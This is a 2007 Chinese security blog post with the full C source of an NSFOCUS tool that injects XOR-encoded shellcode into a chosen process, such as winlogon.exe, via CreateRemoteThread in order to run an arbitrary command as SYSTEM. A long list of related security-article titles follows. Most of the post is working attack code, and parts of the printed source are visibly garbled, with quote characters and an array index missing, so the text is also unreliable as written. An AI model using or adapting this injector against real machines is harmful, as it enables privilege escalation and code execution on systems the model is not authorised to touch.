2007年1月31日星期三

远程线程注入版获取SYSTEM权限

远程线程注入版获取SYSTEM权限



前段时间写<<exploit系列(6)--x86/Windows平台上的缓冲区溢出>>,其间涉及远程
线程注入,想到本篇,返回来补充一点内容。sysproc_now.c并不具备良好的可移植
性,为了区分2000/XP/2003,被迫用GetVersionEx()做精确的OS版本判断。相较之下
远程线程注入更易移植些。
如果试图向winlogon.exe进行远程线程注入, 编程时需要指定恰当的WindowStation,
否则可能无法与派生的子进程正常交互。

在MSDN中查看GetProcessWindowStation、GetUserObjectInformation等相关函数。

参看Inside 2K([7])第五章的"Interactive Services"小节。

使用终端服务测试CreateRemoteThread_1.c时,可能得到如下错误信息:

"CreateRemoteThread() failed: 存储空间不足,无法处理此命令"

在主控台上测试则一切正常。开始以为是WindowStation的问题,转而动态获取其名
称,错误信息依旧。后来才想起MSDN中有如下信息:

Terminal Services isolates each terminal session by design. Therefore,
CreateRemoteThread fails if the target process is in a different session
than the calling process.

暂不清楚是否有办法解决,如果没有办法解决,那sysproc_now.c还有存在的必要。

--------------------------------------------------------------------------
/*
* Copyright (C) 2002, 2012
* The NSFOCUS INFORMATION TECHNOLOGY CO.,LTD.
* -----------------------------------------------------------------------
* Author : NSFocus Security Team < security@nsfocus.com>
* : http://www.nsfocus.com
* Maintain : scz <scz@nsfocus.com>
* Version : 2.02
* Compile : For x86/EWindows XP SP1 & VC 7
* : cl CreateRemoteThread_1.c /nologo /Os /G6 /Gs65536 /W3 /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /MT /link /RELEASE
* :
* Create : 2003-10-08 13:37
* Modify : 2003-10-08 17:02
* -----------------------------------------------------------------------
* The only thing they cant take from us are our minds. !H
*/

/************************************************************************
* *
* Head File *
* *
************************************************************************/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h >

/************************************************************************
* *
* Macro *
* *
************************************************************************/

#pragma comment( linker, "/INCREMENTAL:NO" )
#pragma comment( linker, "/subsystem:console" )
#pragma comment( lib, "kernel32.lib" )
#pragma comment( lib, "advapi32.lib" )

#define VERSION "2.02"
#define MAXBUFLEN 8192
#define CHARBASE A
#define CHARESCAPE _
#define CHARXOR ^

typedef LONG NTSTATUS;

#define NT_SUCCESS(status) ((NTSTATUS)(status)>=0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

typedef LONG KPRIORITY;

typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

typedef enum _SYSTEM_INFORMATION_CLASS
{
SystemProcessesAndThreadsInformation = 5
} SYSTEM_INFORMATION_CLASS;

typedef struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

typedef ULONG ( __stdcall *RTLNTSTATUSTODOSERROR ) ( IN NTSTATUS Status );
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );

/************************************************************************
* *
* Function Prototype *
* *
************************************************************************/

static size_t bufencode
(
unsigned char *src,
unsigned char *dst,
size_t srclen
);
static BOOL DisableCurrentProcessDebugPrivilege
(
void
);
static BOOL EnableCurrentProcessDebugPrivilege
(
void
);
static DWORD GetPidFromProcessName
(
wchar_t *ProcessName
);
static BOOL LocateNtdllEntry
(
void
);
static DWORD __stdcall PnameToPid
(
char *ProcessName
);
static void PrintWin32ErrorCUI
(
char *message,
DWORD dwMessageId
);
static void PrintZwErrorCUI
(
char *message,
NTSTATUS status
);
static BOOL SetCurrentProcessPrivilege
(
LPCTSTR PrivilegeName,
BOOL EnableFlag
);
static BOOL SetPrivilege
(
HANDLE TokenHandle,
LPCTSTR PrivilegeName,
BOOL EnableFlag
);
static void usage
(
char *arg
);

/************************************************************************
* *
* Static Global Var *
* *
************************************************************************/

static RTLNTSTATUSTODOSERROR RtlNtStatusToDosError = NULL;
static ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

static unsigned char code[] =
"\xEB\x19\x5E\x8B\xFE\x33\xD2\xFC\xAC\x3A\xC2\x74\x13\x3C\x5F\x74"
"\x05\x34\x5E\xAA\xEB\xF2\xAC\x2C\x41\xEB\xF6\xE8\xE2\xFF\xFF\xFF"
"\xB7\x8F\x5F\xA0\x5E\x5E\x0B\xD5\xB2\x0F\xDD\x3B\xA2\x5E\xD5\x1B"
"\x56\x51\xE0\x5E\xDB\x9E\x2A\x7C\xD5\x1B\xA2\x9F\xBE\x5B\xD5\x13"
"\xA2\x9F\xB7\x45\x55\x9F\xD5\x13\x56\x51\xE0\x57\x5D\x9F\xD7\x1B"
"\xA2\xD5\x1B\x56\x1E\xD7\x1B\x56\xB5\x8A\xD5\x1B\xA2\x97\x9C\x5A"
"\x5E\x0B\xD5\xB2\xDD\xB2\x06\x34\x1A\xD3\x1B\xF6\x0E\xB6\xBD\x5E"
"\x5E\x5E\x99\x1B\xF6\x1A\x5E\x5E\x5E\x99\x1B\x8A\x5F\xA0\x5E\x5E"
"\x5E\xD5\x1B\x4E\xD7\x1B\xEE\x38\x99\x1B\x86\x5F\xA0\x5E\xA1\x2B"
"\x4E\xB6\xCF\x5E\x5E\x5E\xD5\x13\x4E\xD3\x1A\x5F\xA0\x5F\xA0\xD7"
"\x1B\x4E\xD3\x1B\xAE\x0E\xD3\x1B\xF6\x0E\x34\x5E\x34\x5E\x36\x4E"
"\x5C\x5E\x5E\x34\x5F\xA0\x34\x5E\x34\x5E\xA1\x2B\x4E\x34\x5E\xA1"
"\x0B\x56\xDB\x9E\x2A\x52\xA1\x2B\xAA\xA1\x0B\x52\xA1\x2B\xAE\xA1"
"\x0B\x52\x97\x9C\x52\x5E\x0B\xD5\xB2\x0F\x0F\xD5\x1B\x42\xD7\x1B"
"\xA6\xDD\x3B\xA2\x5E\xB5\x59\xD5\x1B\xA2\x1E\xD7\x1B\xA2\xD5\x1B"
"\xA2\x65\x1B\x7E\x2D\x73\xD5\x1B\xA6\xA1\x6E\xA1\x2B\x46\xA1\x2B"
"\x4A\xA1\x2B\x4E\xA1\x2B\x52\xA1\x2B\x56\xB6\x29\x5E\x5E\x5E\xD5"
"\x13\xA2\xD5\x0B\x7A\xD7\x5A\xD4\xD5\x1B\xA6\xDD\x9E\x5A\xD7\x1B"
"\xA6\xB5\x9A\xD5\x1B\xA6\x97\x9C\x7E\x5E\x0B\xD5\xB2\x0F\x0F\xDD"
"\x3B\xA6\x5E\xD5\x1B\x56\xD7\x1B\xA2\xD5\x1B\xA2\x51\xE0\x5E\xD5"
"\x13\xA2\x1F\xD7\x13\xA2\xDB\x9E\x2A\x57\xD5\x1B\xA6\x1E\xD7\x1B"
"\xA6\xB5\xB8\xD5\x1B\xA6\x97\x9C\x5A\x5E\x0B\xD5\xB2\x0F\xDD\x3B"
"\xA2\x5E\xB5\x59\xD5\x1B\xA2\x1E\xD7\x1B\xA2\xD5\x1B\xA2\x65\x1B"
"\x52\x2D\x51\xD5\x1B\x56\xDE\x7E\x5E\xD5\x1B\x56\x1E\xD7\x1B\x56"
"\xB5\xBC\x97\x9C\x56\x5E\x0B\xD5\xB2\xDD\xB2\x4E\xDD\x3B\xA6\x5E"
"\xDD\x3B\xA2\x5E\xDD\x3B\xAA\x5E\xDD\x3B\xAE\x5E\xDD\x3B\xA6\x5E"
"\xB5\x59\xD5\x1B\xA6\x1E\xD7\x1B\xA6\xD5\x1B\xA6\x65\x1B\x46\x2D"
"\x1B\xD5\x1B\xA6\xD5\x13\x4E\xD5\x0B\x56\x5D\x4A\xDF\xD7\x0B\xAA"
"\xA1\x2B\xAA\xB6\x3D\xA0\xA1\xA1\xD7\x1B\xA2\xD5\x1B\xA2\x65\x1B"
"\x42\x2B\x7F\xD5\x1B\xA6\xD5\x13\x4A\x51\xE9\x5A\x1F\xD7\x1B\xA6"
"\xD5\x1B\xA6\xD5\x13\x52\xD5\x0B\x56\x5D\x4A\xDF\xD7\x0B\xAE\xD5"
"\x1B\xAE\xB5\x5A\xB5\xF2\x6D\x9E\x97\x9C\x46\x5E\x0B\xD5\xB2\xDD"
"\xB2\x66\xDD\x3B\xB2\x5E\xDD\x3B\xA2\x5E\xDD\x3B\xBE\x5E\xDD\x3B"
"\x8A\x5E\xDD\x3B\x86\x5E\xDD\x3B\xAE\x5E\xDD\x3B\xAA\x5E\xDD\x3B"
"\x82\x5E\xDD\x3B\xA6\x5E\xDD\x3B\x96\x5E\xDD\x3B\xB6\x5E\xDD\x3B"
"\xBA\x5E\xB7\xEF\x5E\x5E\x5E\xD1\x1B\xBA\xE6\xB7\xDC\x1E\x5E\x73"
"\xB9\xDC\x1E\x5E\x5F\xA0\x1B\xBA\x3A\xFF\x6E\x5E\x5E\x5E\xD7\x1B"
"\xB2\xD5\x1B\xB2\xD5\x1E\x52\xD7\x1B\xA2\xD5\x1B\xA2\xD5\x1E\x42"
"\xD7\x1B\xBE\xD5\x1B\xBE\xD5\x5E\xD7\x1B\xBE\xD5\x1B\xBE\xD5\x1E"
"\x56\xD7\x1B\x8A\xD5\x1B\x8A\xD5\x1E\x62\xD7\x1B\xB6\xD5\x1B\x8A"
"\x5D\x1B\xB6\xD5\x13\x8A\x5D\x16\x26\xD7\x13\x86\xD5\x1B\x86\xD5"
"\x1E\x46\xD7\x1B\xAE\xD5\x1B\x86\xD5\x1E\x42\x5D\x1B\x8A\xD7\x1B"
"\xAA\xD5\x1B\x86\xD5\x1E\x7E\x5D\x1B\x8A\xD7\x1B\x82\xD5\x1B\x86"
"\xD5\x1E\x7A\x5D\x1B\x8A\xD7\x1B\x96\xD3\x1B\x92\x0E\x34\x5C\xA1"
"\x2B\xBA\xA1\x2B\xAE\xA1\x2B\x96\xA1\x2B\x82\xA1\x2B\xAA\xA1\x2B"
"\x8A\xB6\x5F\xA0\xA0\xA1\xA1\xD7\x1B\xBA\xA1\x2B\xBA\xA1\x2B\x8E"
"\xA1\x2B\x92\xB6\xDE\xA3\xA1\xA1\xB5\x5B\xB6\x14\xA1\xA1\xA1\x97"
"\x9D\x95\x1C\x29\xE6\xC8\xCE\x3C\x89\x09\x37\x30\x0D\x2A\x3F\x6E"
"\x02\x1A\x3B\x38\x3F\x2B\x32\x2A\x5E";

/************************************************************************/

static size_t bufencode ( unsigned char *src, unsigned char *dst, size_t srclen )
{
unsigned char c;
size_t i, j;

for ( i = 0, j = 0; i < srclen; i++, j++ )
{
dst[j] = src ^ CHARXOR;
c = dst[j];
if ( 0x00 == c || CHARESCAPE == c )
{
dst[j] = CHARESCAPE;
j++;
dst[j] = c + CHARBASE;
}
}
return( j );
} /* end of bufencode */

static BOOL DisableCurrentProcessDebugPrivilege ( void )
{
return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, FALSE ) );
} /* end of DisableCurrentProcessDebugPrivilege */

static BOOL EnableCurrentProcessDebugPrivilege ( void )
{
return( SetCurrentProcessPrivilege( SE_DEBUG_NAME, TRUE ) );
} /* end of EnableCurrentProcessDebugPrivilege */

static DWORD GetPidFromProcessName ( wchar_t *ProcessName )
{
NTSTATUS status;
PVOID buf = NULL;
ULONG size = 1;
PSYSTEM_PROCESSES proc = NULL;
ULONG delta = 0;
DWORD pid = 0;

for ( size = 1; ; size *= 2 )
{
if ( NULL == ( buf = calloc( size, 1 ) ) )
{
fprintf( stderr, "calloc( %u, 1 ) failed\n", size );
goto GetPidFromProcessName_exit;
}
status = ZwQuerySystemInformation( SystemProcessesAndThreadsInformation, buf, size, NULL );
if ( !NT_SUCCESS( status ) )
{
if ( STATUS_INFO_LENGTH_MISMATCH == status )
{
free( buf );
buf = NULL;
}
else
{
PrintZwErrorCUI( "ZwQuerySystemInformation() failed", status );
goto GetPidFromProcessName_exit;
}
}
else
{
break;
}
} /* end of for */
proc = ( PSYSTEM_PROCESSES )buf;
do
{
if ( NULL != proc->ProcessName.Buffer )
{
if ( 0 == _wcsicmp( ProcessName, proc->ProcessName.Buffer ) )
{
pid = proc->ProcessId;
break;
}
}
delta = proc->NextEntryDelta;
proc = ( PSYSTEM_PROCESSES )( ( char * )proc + delta );
}
while ( 0 != delta );

GetPidFromProcessName_exit:

if ( buf != NULL )
{
free( buf );
buf = NULL;
}
return( pid );
} /* end of GetPidFromProcessName */

static BOOL LocateNtdllEntry ( void )
{
BOOL ret = FALSE;
char NTDLL_DLL[] = "ntdll.dll";
HMODULE ntdll_dll = NULL;

if ( ( ntdll_dll = GetModuleHandle( NTDLL_DLL ) ) == NULL )
{
PrintWin32ErrorCUI( "GetModuleHandle() failed", GetLastError() );
return( ret );
}
if ( !( RtlNtStatusToDosError = ( RTLNTSTATUSTODOSERROR )GetProcAddress
(
ntdll_dll,
"RtlNtStatusToDosError"
) ) )
{
goto LocateNtdllEntry_exit;
}
if ( !( ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress
(
ntdll_dll,
"ZwQuerySystemInformation"
) ) )
{
goto LocateNtdllEntry_exit;
}
ret = TRUE;

LocateNtdllEntry_exit:

if ( FALSE == ret )
{
PrintWin32ErrorCUI( "GetProcAddress() failed", GetLastError() );
}
ntdll_dll = NULL;
return( ret );
} /* end of LocateNtdllEntry */

static DWORD __stdcall PnameToPid ( char *ProcessName )
{
int i;
WCHAR *ProcessNameW = NULL;
DWORD Pid = 0;

i = MultiByteToWideChar
(
CP_ACP,
0,
ProcessName,
( int )( strlen( ProcessName ) + 1 ),
NULL,
0
);
if ( 0 == i )
{
PrintWin32ErrorCUI( "MultiByteToWideChar() failed [0]", GetLastError() );
goto InjectCodeToProcessByName_exit;
}
ProcessNameW = ( WCHAR * )HeapAlloc( GetProcessHeap(), HEAP_ZERO_MEMORY, i * sizeof( WCHAR ) );
if ( NULL == ProcessNameW )
{
PrintWin32ErrorCUI( "HeapAlloc() failed", ERROR_NOT_ENOUGH_MEMORY );
goto InjectCodeToProcessByName_exit;
}
if ( 0 == MultiByteToWideChar
(
CP_ACP,
0,
ProcessName,
( int )( strlen( ProcessName ) + 1 ),
ProcessNameW,
i
) )
{
PrintWin32ErrorCUI( "MultiByteToWideChar() failed [1]", GetLastError() );
goto InjectCodeToProcessByName_exit;
}
wprintf( L"%s\n", ProcessNameW );
if ( 0 == ( Pid = GetPidFromProcessName( ProcessNameW ) ) )
{
fprintf( stderr, "GetPidFromProcessName() failed\n" );
goto InjectCodeToProcessByName_exit;
}

InjectCodeToProcessByName_exit:

if ( NULL != ProcessNameW )
{
HeapFree( GetProcessHeap(), 0, ProcessNameW );
ProcessNameW = NULL;
}
return( Pid );
} /* end of PnameToPid */

static void PrintWin32ErrorCUI ( char *message, DWORD dwMessageId )
{
char *errMsg;

FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
dwMessageId,
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
fprintf( stderr, "%s: %s", message, errMsg );
LocalFree( errMsg );
return;
} /* end of PrintWin32ErrorCUI */

static void PrintZwErrorCUI ( char *message, NTSTATUS status )
{
char *errMsg;

FormatMessage
(
FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
NULL,
RtlNtStatusToDosError( status ),
MAKELANGID( LANG_NEUTRAL, SUBLANG_DEFAULT ),
( LPTSTR )&errMsg,
0,
NULL
);
fprintf( stderr, "%s: %s", message, errMsg );
LocalFree( errMsg );
return;
} /* end of PrintZwErrorCUI */

static BOOL SetCurrentProcessPrivilege ( LPCTSTR PrivilegeName, BOOL EnableFlag )
{
HANDLE TokenHandle = ( HANDLE )-1;
BOOL ret = TRUE;

if ( FALSE == OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &TokenHandle ) )
{
PrintWin32ErrorCUI( "OpenProcessToken() failed", GetLastError() );
ret = FALSE;
goto SetCurrentProcessPrivilege_exit;
}
ret = SetPrivilege( TokenHandle, PrivilegeName, EnableFlag );

SetCurrentProcessPrivilege_exit:

if ( TokenHandle != ( HANDLE )-1 )
{
CloseHandle( TokenHandle );
TokenHandle = ( HANDLE )-1;
}
return( ret );
} /* end of SetCurrentProcessPrivilege */

static BOOL SetPrivilege ( HANDLE TokenHandle, LPCTSTR PrivilegeName, BOOL EnableFlag )
{
DWORD error;
BOOL ret = FALSE;
TOKEN_PRIVILEGES tp =
{
1,
{
{ { 0, 0 }, 0 }
}
};

if ( TRUE == EnableFlag )
{
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}
if ( FALSE == LookupPrivilegeValue( NULL, PrivilegeName, &tp.Privileges[0].Luid ) )
{
PrintWin32ErrorCUI( "LookupPrivilegeValue() failed", GetLastError() );
goto SetPrivilege_exit;
}
if ( FALSE == AdjustTokenPrivileges( TokenHandle, FALSE, &tp, sizeof( tp ), NULL, NULL ) )
{
PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", GetLastError() );
goto SetPrivilege_exit;
}
else
{
error = GetLastError();
if ( ERROR_SUCCESS != error )
{
PrintWin32ErrorCUI( "AdjustTokenPrivileges() failed", error );
goto SetPrivilege_exit;
}
}
ret = TRUE;

SetPrivilege_exit:

return( ret );
} /* end of SetPrivilege */

static void usage ( char *arg )
{
fprintf
(
stderr,
"Usage: %s [-h] [-v] [-c cmdline] [-p pid] [-q pname]\n",
arg
);
exit( EXIT_FAILURE );
} /* end of usage */

int __cdecl main ( int argc, char * argv[] )
{
int ret = EXIT_FAILURE,
c;
HANDLE hProcess = NULL,
hThread = NULL;
char *cmdline = NULL;
DWORD pid = 0;
char *pname = NULL;
LPVOID remotebuf = NULL;
unsigned char buf[MAXBUFLEN];
size_t j;

if ( 1 == argc )
{
usage( argv[0] );
}
for ( c = 1; c < argc; c++ )
{
if ( ( ( argv[c][0] != - ) && ( argv[c][0] != / ) ) || ( strlen( argv[c] ) < 2 ) )
{
usage( argv[0] );
}
else
{
switch ( tolower( argv[c][1] ) )
{
case c:
if ( ( c + 1 ) >= argc )
{
usage( argv[0] );
}
cmdline = argv[++c];
break;
case p:
if ( ( c + 1 ) >= argc )
{
usage( argv[0] );
}
pid = ( DWORD )strtoul( argv[++c], NULL, 0 );
break;
case q:
if ( ( c + 1 ) >= argc )
{
usage( argv[0] );
}
pname = argv[++c];
break;
case v:
fprintf( stderr, "%s ver "VERSION"\n", argv[0] );
return( EXIT_SUCCESS );
case h:
case ?:
default:
usage( argv[0] );
break;
} /* end of switch */
}
} /* end of for */
if ( NULL == cmdline )
{
fprintf( stderr, "Checking your [-c cmdline]\n" );
return( ret );
}
if ( 0 == pid && NULL == pname )
{
fprintf( stderr, "Checking your [-p pid] [-q pname]\n" );
return( ret );
}
EnableCurrentProcessDebugPrivilege();
ZeroMemory( buf, sizeof( buf ) );
j = strlen( code );
memcpy( buf, code, j );
j += bufencode( cmdline, buf + j, strlen( cmdline ) + 1 ) + 1;
if ( FALSE == LocateNtdllEntry() )
{
fprintf( stderr, "LocateNtdllEntry() failed\n" );
goto main_exit;
}
if ( NULL != pname )
{
pid = PnameToPid( pname );
}
if ( 0 == pid )
{
fprintf( stderr, "Checking your [-p pid] [-q pname]\n" );
goto main_exit;
}
else
{
printf( "pid = %u\n", pid );
}
hProcess = OpenProcess
(

PROCESS_CREATE_THREAD |
PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION |
PROCESS_VM_READ |
PROCESS_VM_WRITE,
FALSE,
pid
);
if ( NULL == hProcess )
{
PrintWin32ErrorCUI( "OpenProcess() failed", GetLastError() );
goto main_exit;
}
remotebuf = VirtualAllocEx
(
hProcess,
NULL,
j,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if ( NULL == remotebuf )
{
PrintWin32ErrorCUI( "VirtualAllocEx() failed", GetLastError() );
goto main_exit;
}
if ( 0 == WriteProcessMemory
(
hProcess,
remotebuf,
buf,
j,
NULL
) )
{
PrintWin32ErrorCUI( "WriteProcessMemory() failed", GetLastError() );
goto main_exit;
}
hThread = CreateRemoteThread
(
hProcess,
NULL,
0,
( LPTHREAD_START_ROUTINE )remotebuf,
NULL,
0,
NULL
);
if ( NULL == hThread )
{
PrintWin32ErrorCUI( "CreateRemoteThread() failed", GetLastError() );
goto main_exit;
}
if ( WAIT_FAILED == WaitForSingleObject( hThread, INFINITE ) )
{
PrintWin32ErrorCUI( "WaitForSingleObject() failed", GetLastError() );
goto main_exit;
}
printf( "\nYou should see this message\n" );
ret = EXIT_SUCCESS;

main_exit:

if ( NULL != hThread )
{
CloseHandle( hThread );
hThread = NULL;
}
if ( NULL != hProcess )
{
if ( NULL != remotebuf )
{
VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );
remotebuf = NULL;
}
CloseHandle( hProcess );
hProcess = NULL;
}
DisableCurrentProcessDebugPrivilege();
return( ret );
} /* end of main */

/************************************************************************/



--------------------------------------------------------------------------------
相关文章
万网的尴尬-万网ORACLE注入漏洞曝光 2004-10-30 21:26:39
网络安全――五大手段确保网络的安全 2004-10-28 0:39:04
数据库系统防黑客入侵技术综述 2004-10-19 3:31:56
MYSQL用户root密码为弱口令的攻击解析 2004-10-12 8:09:58
Google工具栏About跨站脚本执行漏洞 2004-10-12 8:07:08
庖丁解"D",游刃有余---Discuz!免费版安全性分析 2004-10-7 1:18:45
WDB论坛存在多个严重漏洞 2004-10-7 1:15:59
新型D.o.S(伪造TCP连接进行数据传输的D.o.S) 2004-8-25 20:45:04
AIX PowerPC体系结构及其溢出技术学习笔记 2004-8-25 20:42:12
如何在评测之外粗略评价NIDS的检测能力 2004-8-12 12:17:44
Microsoft IE Shell.Application对象脚本执行漏洞 2004-8-2 12:33:02
用防火墙伪装抵住黑客攻击(中级) 2004-7-20 23:47:39
phpMyAdmin远程PHP代码注入漏洞 2004-7-15 15:12:29
如何在IE浏览器中禁用 ADODB.Stream 对象 2004-7-12 0:18:18
阻断恶意病毒攻击"三要素":隔离、遏制、消灭 2004-7-5 12:55:07
SQL Injection技巧的演练 2004-7-1 12:33:50
用ADSL上网 断流问题原因分析 2004-6-28 22:13:14
会话劫持攻击实战 2004-6-26 22:41:53
木桶新理论与信息安全 2004-6-26 22:40:04
SQL注入缺陷使用方法及代码 2004-6-17 11:39:57
Microsoft Internet Explorer URL本地资源访问漏洞 2004-6-17 11:36:43
SQL Server应用程序中的高级SQL注入 2004-6-15 23:53:51
用ADSL上网 断流问题原因分析 2004-6-15 23:52:21
FTP协议的分析和扩展 2004-6-5 15:55:47
防火墙防止DDOS分布式拒绝服务攻击的几种方式 2004-6-5 15:48:25
SQL注入天书 - ASP注入漏洞全接触 2004-5-29 11:16:40
禁止 Windows tftp 客户端的使用 2004-5-27 15:46:08
动网论坛上传文件漏洞的原理以及攻击的代码实现 2004-5-20 0:55:58
Do All in Cmd Shell 2004-5-16 11:22:33
居安思危--论补丁管理之理论 2004-5-13 22:35:43
avserve病毒初步分析 2004-5-9 20:16:27
UNIX入侵检测方法 2004-5-4 14:06:54
有关无线安全与黑客的话题 2004-5-4 14:04:32
Windows Local Security Authority Service远程缓冲区溢出漏洞 2004-4-30 10:28:44
Microsoft LDAP远程拒绝服务漏洞 2004-4-30 10:26:08
安全管理项目 2004-4-28 7:56:35
FTP协议的分析和扩展 2004-4-26 14:31:39
漂亮但不安全的CTB论坛--CTB论坛再探 2004-4-24 2:11:07
JSP安全编程实例浅析 2004-4-18 12:48:27
UNIX入侵检测方法 2004-4-11 12:50:14
Linux内核漏洞浅析 2004-4-1 11:44:24
病毒狂想曲 2004-3-28 0:50:28
防火墙是不是保证企业网络安全的惟一 2004-3-24 22:28:37
phpBB viewforum.php topicdays参数跨站脚本漏洞 2004-3-22 15:19:06
phpBB viewtopic.php postdays参数跨站脚本漏洞 2004-3-22 15:18:07
分布式拒绝攻击(DDOS)软件tfn2k攻防 2004-3-20 23:53:19
用命令行写IPSec(win) 2004-3-18 12:31:37
网上邻居的内幕――关于NETBIOS理清楚概念的文章 2004-3-14 1:48:26
"漏洞攻击程序"是这样编译出来的 2004-3-12 12:32:04
浅谈内部网络中密钥的管理 口令取值范围 DES算法 2004-3-9 18:00:28
Apple QuickTime/Darwin服务器 远程拒绝服务漏洞 2004-3-3 11:58:28
Serv-U FTP 服务器MDTM命令 远程缓冲区溢出漏洞 2004-3-1 9:41:16
编写安全的ASP代码 2004-2-29 2:12:40
ASP Portal存在脚本执行、SQL注入等多个安全漏洞 2004-2-26 12:28:17
Crob FTP Server程序 存在远程拒绝服务攻击漏洞 2004-2-24 8:25:16
蠕虫病毒Mydoom.B分析报告 2004-2-24 8:24:41
局域网监听的原理、实现与防范 2004-2-23 16:40:03
从八个方面来探讨计算机操作系统的优化 2004-2-23 3:45:45
基于arp欺骗的网络攻击程序 2004-2-21 15:28:15
linux下DDOS程序代码ddos.c 2004-2-21 15:27:24
简述针对 IRC 在线聊天工具的攻击类型及自我防护 2004-2-21 6:18:32
CPAN WWW::Form 模块HTML注入漏洞 2004-2-19 18:42:03
Web Crossing 4.x/5.x 拒绝服务漏洞 2004-2-19 18:39:57
微软发布2月安全公告 2004-2-17 10:35:05
Brk漏洞分析和修补 2004-2-17 10:34:23
网上邻居的内幕-关于NETBIOS理清楚概念的文章 2004-2-15 21:42:07
一次艰难而真实的入侵 2004-2-13 11:48:48
Brk漏洞分析和修补 2004-2-13 11:42:23
Crob FTP Server V3.5.1拒绝服务攻击缺陷 2004-2-11 11:09:43
InternetNow ProxyNow堆栈缓冲溢出缺陷 2004-2-11 11:08:56
你藏好了吗之轻松揪出数据库 2004-2-9 13:59:34
蠕虫病毒传播模式分析 2004-2-9 13:57:20
局域网监听的原理、实现与防范 2004-2-8 4:41:06
LB5K,别来无恙否?------再谈LB5000 XP漏洞 2004-2-8 4:39:36
vBulletin Forum 2.3.xx SQL Injection 2004-2-6 4:32:24
蠕虫病毒传播模式分析 2004-2-5 15:22:53
Myarticle文章系统存在严重漏洞 2004-2-3 23:53:24
盗帅下载程序安全性分析 2004-2-1 12:31:49
新形式下的网络防毒建议汇总 2004-1-28 9:39:30
基于WAP的QQ消息洪水攻击 2004-1-24 19:19:25
用自解压包入侵 2004-1-20 21:36:24
安全事件日志中的事件编号与描述 2004-1-16 12:48:22
Pico Server存在目录遍历缺陷 2004-1-12 10:16:45
FreznoShop存在跨站脚本执行缺陷 2004-1-12 10:16:03
木马是如何盗取QQ密码的? 2004-1-10 14:36:51
Windows安全事件日志中的事件编号与描述 2004-1-8 16:39:06
分级防御对Linux服务器的攻击 2004-1-6 9:16:54
新形式下的网络防毒建议汇总 2004-1-6 9:16:07
miniBB存在跨站脚本执行缺陷 2004-1-6 0:43:52
缓冲区溢出与病毒攻击原理 2004-1-6 0:42:23
Microsoft WordPerfect转换器远程缓冲区溢出漏洞分析 2003-12-31 13:22:27
透过不同结构的防火墙放置后门 2003-12-31 13:20:58
通用ShellCode深入剖析 2003-12-28 14:19:43
分级防御对Linux服务器的攻击 2003-12-28 14:17:50
黑客扫描特征及十种最易受攻击端口 2003-12-23 11:44:22
FlashGet存在信息泄露缺陷 2003-12-22 15:10:54
通用ShellCode深入剖析 2003-12-22 15:09:52
Microsoft WordPerfect转换器远程缓冲区溢出漏洞分析 2003-12-19 11:43:40
网络蠕虫病毒分析和防范措施 2003-12-19 11:42:51
FlashGet存在信息泄露缺陷 (Other,缺陷) 2003-12-19 11:41:53
wdb论坛跨站脚本漏洞 2003-12-18 4:14:54
ARP协议揭密 2003-12-16 19:20:59
Yahoo! Messenger IMVironment 跨站脚本执行漏洞 2003-12-12 10:14:03
QQ2003III代码攻击漏洞 2003-12-10 16:29:08
Websense存在跨站脚本执行缺陷 2003-12-10 10:30:24
Alan Wards A-Cart存在信息泄露缺陷 2003-12-10 10:27:10
Alan Wards A-Cart的register.asp页面存在跨站脚本执行缺陷 2003-12-10 10:25:13
几个小工具跟入侵方法 2003-12-9 10:55:59
一步一教你干掉路由器 2003-12-9 6:39:49
探秘Windows Server2003安全性 2003-12-5 19:27:39
My_eGallery 存在代码注入缺陷 2003-12-3 18:49:19
GNU Screen 存在缓冲溢出缺陷 2003-12-3 18:48:38
对国内电影站入侵的种种手法 2003-12-2 13:23:35
针对MSBlast蠕虫病毒一点分析 2003-12-1 12:56:02
菜鸟学做网页木马 2003-12-1 12:53:00
IE file.writeline本地文件可写漏洞 2003-11-29 0:21:17
几个小工具跟入侵方法 2003-11-22 15:03:51
Windows Workstation Service远程溢出的分析 2003-11-20 13:20:08
雅虎IM缓冲溢出漏洞 2003-11-12 11:09:28
Myarticle文章系统存在严重漏洞 2003-11-12 11:07:39
perl脚本中的一些安全问题 2003-11-10 20:33:26
对动网先锋论坛进行了一个安全性的测试 2003-11-10 20:32:18
使用蜜罐同互联网蠕虫作斗争 2003-11-7 12:04:48
雅虎IM缓冲溢出漏洞 2003-11-5 20:12:54
截获流经本机网卡的IP数据包 2003-10-28 22:29:16
动态IP地址的捕获及其应用 2003-10-24 16:10:52
PHP4 Base64_Encode()远程整数溢出漏洞 2003-10-22 1:09:49
PHP4多个安全漏洞 2003-10-22 1:08:38
在NT/2000下的空连接-----很多人自以为很了解 2003-10-20 10:43:01
Solaris Secure Shell Daemon 缓冲管理安全漏洞 2003-10-19 12:05:10
SuSE 安全公告 2003-10-19 12:04:20
